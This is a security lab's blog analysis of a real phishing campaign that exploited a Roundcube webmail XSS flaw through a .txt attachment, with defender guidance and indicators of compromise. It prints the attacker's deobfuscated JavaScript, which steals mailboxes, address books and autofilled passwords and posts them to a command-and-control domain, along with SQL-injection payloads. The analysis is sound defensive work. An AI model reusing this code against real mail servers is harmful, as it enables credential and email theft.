Stealing your email with a .txt file

January 17, 2024 by StrikeReady Labs8 minutes

Security analysts, and products alike, have constraints on time, resources, and bandwidth, that require them to narrow the giant haystack of “potentially interesting things to dive deep on today”. In the trade-off between resources and real-world detections, they may make broad generalizations to filter out categories that are thought not to be abused in the wild. These assumptions eventually lead to false negatives on real world attacks, given a long enough timeframe. A few notable examples:
  • malicious content hosted on normally benign Alexatop Xurls
  • plain .csv files that abused =cmd functionality in excel
  • “known good” hash lists like NSRL, before signer compromises were common, or the shift to LOLbins
  • image files that exploit vulnerable parsers, such as libtiff in pdf
  • and of course obscure or unpopular formats, such as .xdp, .pps, or .egg

In this example, a suspected Russian threat actor targeted a Polish entity solely with a malicious .txt file, to attempt to steal emails and address books. The attacker is relying on that fact that the target will view the message in Roundcube, a popular frontend for other mail services. This bug, CVE-2023-47272, appears to have been discovered in parallel by Rene Rehme, and used by the threat actor as a 0day, in October ‘23. It was patched in November ‘23. The vuln centered around rendering embedded js in a preview pane of an “inline” txt attachment. XSS exploits, compared to RCE, have for too long been viewed with mockery and derision by many in the security community, but this payload will illustrate that a mere XSS can cause your mailbox and address book to be exfil’d. This campaign bears many similarities to a campaign from June ‘23, detailed by CERT-UA.

Figure 1: Asking CARA to render the EML in an interactive sandbox environment (coming Q2 ‘24)

Figure 1: Asking CARA to render the EML in an interactive sandbox environment (coming Q2 '24)

This file caught our eye by a loose filter watching VirusTotal for communications spoofed to come from Think Tanks, NGOs, governments, and the like. For this hunting methodology, whether the sender account was compromised or simply spoofed does not particularly matter, given the low volume of hits. In this case, the mail appeared to come from the “Caucasus Policy Analysis Center” in Azerbaijan. The “.txt” file contained renderable HTML, which stuck out as strange, as typically text viewers associated with a .txt won’t execute rich content.

Figure 2: Opening the .txt file in a text editor reveals the initial logic

Figure 2: Opening the .txt file in a text editor reveals the initial logic

At first look, we suspected that the HTML would be rendered by a yet-unknown word processor, but after examining the payload and seeing “X-Roundcube-Request” headers, it became clear that Roundcube was the target.

Figure 3: If the exploit was successful, js would be executed and hidden

Figure 3: If the exploit was successful, js would be executed and hidden

At a quick glance, you can notice a chunk of javascript that tries to load via the ‘onerror’ event. Setting the “src=a” is a mechanism to both guarantee a failure of the image to load, but also to avoid protections watching for externally loaded content, even if it would 404.

Figure 4: Roundcube will warn the user about external content, preventing a 404 from automatically triggering “onerror”

Figure 4: Roundcube will warn the user about external content, preventing a 404 from automatically triggering “onerror”

We have deobfuscated the relevant sections, and the raw code is available on our github. The first download_url contains code to fetch individual mailbox content; the second sql_url contains SQL injections and other local environment collections.

 1function decryption_function_outer(e, a) {
 2  var n = decryption_function_inner();
 3  return (decryption_function_outer = function (e, a) {
 4    return n[e -= 242]
 5  })(e, a)
 6}
 7(e => fetch_and_eval(sql_url, true))
 8(e => fetch_and_eval(download_url, true)
 9LoadingAnimation = {
10  rcmail["set_busy"](false, '', this["window_id"]), Htmlpart["show"]()
11}
12
13download_url = 'https://rcstat[.]com/e?m=cmVzZWFyY2hAc3RyaWtlcmVhZHkuY29t&r=&s=MjAyMy0xMC0wMw==',
14sql_url = 'https://rcstat[.]com/q?r=&m=cmVzZWFyY2hAc3RyaWtlcmVhZHkuY29t',
15main();

Figure 5: Initial deobfuscated JS loaded via “onerror”.

After grabbing the first download_url, the attacker retrieves a list of mailbox folder names. It extracts the rows from the response and filters out mailboxes that are empty or named ‘Trash’

 1 async function q() {
 2      let H = '?_task=settings&_action=folders',
 3        I = await o(h + H),
 4        J = I.match(/rcmail.set_env\((.+)\);/m)[1],
 5        K = JSON.parse(J).subscriptionrows
 6      return Object.values(K)
 7        .map((L) => L[0])
 8        .filter((L) => L != '' && L.toLowerCase() !== 'trash')
 9
10    }

Figure 6: Attacker does not want your trashed emails either

The attacker grabs all mail IDs after a certain date — in our case, after 2023-10-03

 1  let J =
 2          '?_task=mail&_action=list&_mbox=' +
 3          encodeURIComponent(H) +
 4          '&_page=1&_remote=1',
 5        K = await p(h + J)
 6      if (!K.hasOwnProperty('env')) {
 7        return []
 8      }
 9
10for (let V = 0; V < T.length; V++) {
11  message_row = /this\.add_message_row\((.*)\)/.exec(T[V])
12      if (message_row != null && message_row.length > 1) {
13          let W = /(\d+),(\{.*\}),(\{.*\}),(\w+)/.exec(message_row[1]),
14              X = JSON.parse(W[2]),
15              Y = Date.parse(X.date)
16              if (isNaN(Y) || Y >= I) {
17                U.push(parseInt(W[1]))
18      }
19}

Figure 7: Attacker is only interested in recent emails

Next, grab the email by leveraging the “viewsource” function, which returns the rfc822-style eml.

 1async function t(H, I) {
 2      // Constructs a url and retreives the result by sending a GET response to the url.
 3      // It gives the maibox and uid and action as viewsource in the url
 4      let J =
 5          '?_task=mail&_mbox=' +
 6          encodeURIComponent(I) +
 7          '&_uid=' +
 8          H +
 9          '&_action=viewsource',
10        K = await o(h + J)
11      return K
12}

Figure 8: Attacker prefers raw eml

Finally, export the address book in VCF format

 1async function v(H) {
 2        // Get the request token using function n.
 3        // Get the response from the url
 4        // base_value+"?_task=addressbook&_source=0&_action=export&_token="+token
 5        // and send the response to "https://rcstat[.]com:443/addressbook/cmVzZWFyY2hAc3RyaWtlcmVhZHkuY29t"
 6      let I = await n(),
 7        J = '?_task=addressbook&_source=0&_action=export&_token=' + I,
 8        K = await o(h + J)
 9      return fetch(H, {
10        method: 'POST',
11        mode: 'no-cors',
12        body: K,
13      }
14}

Figure 9: _action=export may be a detection win, as this is a generally rare occurrence

Additionally, in older versions of Roundcube, a vulnerability existed to inject code that would read a form field. The attacker would create a form containing a username and password box, set the ID value appropriately, sleep for 1000ms, retrieve the password field, base64 encode the blob, then POST it to the c2.

 1 let M =  '\n    <input type="text" name="username" id="%U%" /><br />\n
 2   <input type="password" name="password" id="%P%" /><br />\n'
 3          let T = document.createElement('form')
 4          T.setAttribute('id', 'mailform' + N)
 5          T.setAttribute('method', 'POST')
 6          T.setAttribute('style', 'display:none')
 7          T.setAttribute('style', 'display:none')
 8          document.body.appendChild(T)
 9          document.getElementById('mailform' + N).innerHTML += M.replace(
10            '%U%',
11            'username' + N
12          ).replace('%P%', 'password' + N)
13          document.getElementById('username' + N).value = Q
14          setTimeout(() => {
15            S(document.getElementById('password' + N).value)
16          }, 1000)
17 let T = document.getElementById('password' + S)
18 (Q = btoa(Q)),
19          fetch(H, {
20            method: 'POST',
21            mode: 'no-cors',
22            body: Q,
23        })

Figure 10: Auto-filling password forms may cause a user to lose their credentials

The attacker also gathers environmental versions, such as Roundcube version strings, and in some scenarios also tries a SQL injection. Although the SQL injection vuln is older, the attempt will happen regardless, and can be a useful artifact to check for exploitation.

 1//version string looks like 1.4.3
 2if (z.length && (z[0] < 1 || z[1] > 4)) {
 3        g('[SQL] not vulnerable')
 4        return
 5}
 6 function r(v) {
 7      const w = {
 8        db: 'mysql',
 9        query:
10          '1=1%B% UNION select 0,-1,3,VERSION(),USER(),(select count(*) from session),(select count(*) from users),null,8,9 ORDER BY changed ASC LIMIT 1; --',
11      }
12      const x = {
13        db: 'psql',
14        query:
15          "1=1%B% UNION select 0,1,now(),3,version(),user,(select count(*) from users)::varchar, (select count(*) from session)::varchar ,null,'9' ORDER BY changed DESC LIMIT 1; --",
16      }
17}

Figure 11: %B% is replaced in a separate code path. This may be an attempt to avoid static code scanners.

1F("https://rcstat[.]com:443/p/cmVzZWFyY2hAc3RyaWtlcmVhZHkuY29t").catch((H) => {}),
2  x(''),
3  E('https://rcstat[.]com:443/about/cmVzZWFyY2hAc3RyaWtlcmVhZHkuY29t').catch((H) => {}),
4  w('https://rcstat[.]com:443/s/cmVzZWFyY2hAc3RyaWtlcmVhZHkuY29t').catch((H) => {}),
5  v('https://rcstat[.]com:443/addressbook/cmVzZWFyY2hAc3RyaWtlcmVhZHkuY29t').catch((H) => {}),
6])
7  .then(
8    u('https://rcstat[.]com:443/emails/cmVzZWFyY2hAc3RyaWtlcmVhZHkuY29t', new Date('2023-10-03'))
9  )

Figure 12: Send collected data to the C2

Guidance for defenders:

Along with the IOCs below, it’s worth asking your email security vendor how they handle .txt files. From a cursory analysis of available tooling, YARA, and other signature types, may not run against .txt files by default. We suspect that is due to the increase in load, compared to the relatively small corpus of true attacks. Additionally, this bug is triggered by loading an “inline” attachment, so the signature should be run across the body of the EML, as opposed to just the attachment.

IOCsNotes
rcstat[.]comC2 domain
/about/

/about/[base64 of mailbox]

/db/[base64 of mailbox]

/e?m=[base64 of mailbox]&r=&s=[base64 of minimum date to gather mail]

/emails/[base64 of mailbox]

/l/[base64 of mailbox]

/p/[base64 of mailbox]

/q?r=&m=[base64 of mailbox]

/r/[base64 of mailbox]

/s/[base64 of mailbox]
paths connected to on the C2
/?_task=mail&_action=search&_q=test&_headers=subject%2Cfrom&_filter=ALL&_mbox=INBOX&_remote=1

/?_task=addressbook&_source=0&_action=export&_search=3&_token=

/?_task=settings&_action=about

/?_task=mail&_action=list&_mbox=INBOX&_remote=1&_sort=1=1%20UNION%20select%200,-1,3, VERSION(),USER(),(select%20count()%20from%20session),(select%20count()%20from%20users),null, 8,9%20ORDER%20BY%20changed%20ASC%20LIMIT%201;%20–_DESC
- URLs requested from Roundcube server.

- The &_remote=1 returns the content in a JSON blob, which may be a strong indicator in your environment.

- Notably, the SQL injection may be attempted even if there is no success, but it will be coming from the authenticated client, which may be a good lead.
victoriabittner[@]cpac[.]azsender email address (may be spoofed)
45.130.86[.]4sender IP

Figure 13: IOCs

Lastly, If you are a vendor, and wish to provide a statement of suspected attribution, please drop us a note, and we’ll add it for posterity.

VendorThreat Actor AKA
ProofpointTA422

Figure 14: Other validated vendor names for this actor

For an easier to parse list of indicators, and original JS, please visit our GitHub page.

Acknowledgements

The authors would like to thank the internal reviewers, as well as peer vendors, for their comments and corrections. Please get in touch at if you have further corrections, or would like to collaborate on research in the future.